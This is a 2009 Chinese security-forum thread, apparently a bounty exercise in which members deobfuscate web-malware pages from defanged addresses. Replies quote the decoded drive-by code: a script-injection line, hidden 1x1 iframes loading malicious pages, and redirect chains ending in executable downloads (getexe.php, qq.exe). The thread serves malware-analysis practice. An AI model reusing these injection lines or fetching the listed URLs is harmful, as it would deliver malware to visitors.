[解密悬赏][第19期][40]

显示全部楼层 · 发表于 2009-1-30 16:54:09

宗旨：
让更多人了解如何解密网马
规则：
1、Hunter不能参加活动
2、必须把所有木马地址全部解出，不完全解密且所发URL之前没有人解出者得到相应步骤加分
3、最好有解密软件日志，如果没有，请发出具体解密过程
4、当第一个人成功完全解密后，将根据难度给予其相应经验，所有URL全部解完之后本帖将锁定
5、如果有违反1~2条规则的情况，本帖随即锁定，之后成功解密的作废！
6、锁定后，会重新修改本次的解密地址，并且开帖！
7、为了体现悬赏帖宗旨，昨日解密成功者再次解出今天网址的只能得到对应网址70%经验

解密地址（替换HXXP为HTTP）：

解密一：hxxp://winesamile.cn/template.html
一次解完（包含解密步骤）=20分
分步（即未解完情况）=每步3分

解密二：hxxp://www.alidisk.com/down_8789.aspx SWF:

i115.rar (1.72 KB, 下载次数: 324)

显示全部楼层 · 发表于 2009-1-30 16:58:04

注：解密2解密出来的东西可能会使你心情不爽

对骂人的话很在意的人请勿解密...

显示全部楼层 · 发表于 2009-1-30 17:06:20

document.writeln(" </div><script src=http://ad."+unescape("ji88")+".com/file/da.js></script>");

显示全部楼层 · 发表于 2009-1-30 17:12:13

第一个 unreal js自定义算法
第一步：
<iframe id="63a915fdde944eca43bcf64b35ddb20d" name="69de9d825d8c0bdaf91cb67627111d36" width=1 height=1 frameborder=0 src="http://winesamile.cn/shamp.html"></iframe><iframe id="c4941d400b6927e02367109434284739" name="4c534898fbeadb1d9f477030cdd32e19" width=1 height=1 frameborder=0 src="http://pelingers.ru/geo/index.php"></iframe>
http://winesamile.cn/shamp.html解出 http://papampam.net/in.cgi?pipka3
再解出http://trasoregon.com/kebab/info.php
再解出
http://trasoregon.com/kebab/getexe.php?h=11
和http://trasoregon.com/kebab/getexe.php?h=12

http://pelingers.ru/geo/index.php==>正在解密

显示全部楼层 · 发表于 2009-1-30 17:14:03

http://pelingers.ru/geo/index.php解出来是一样的exe
具体的function就不贴出来了。把几个函数变换一下就ok

显示全部楼层 · 发表于 2009-1-30 17:15:41

第二个留给有识之士..既然不爽就懒得解了

显示全部楼层 · 发表于 2009-1-30 17:19:42

我才回来。。

那我不解密了。。

要不然被骂一顿没地方说理去了。。

显示全部楼层 · 发表于 2009-1-30 17:24:30

SWF里的
http://ww.ppkok.cn/file/qq.exe

显示全部楼层 · 发表于 2009-1-30 17:25:13

是Downloader的话我来分析有没有分？？

说多了。。

[ 本帖最后由 vistabull 于 2009-1-30 17:29 编辑 ]

显示全部楼层 · 发表于 2009-1-30 17:25:58

第一个exe运行不起来。qq.exe runnig

[版主公告] [解密悬赏][第19期][40]

2

评分

回复 2楼 aarwwefdds 的帖子

评分

回复 8楼 gankeyu 的帖子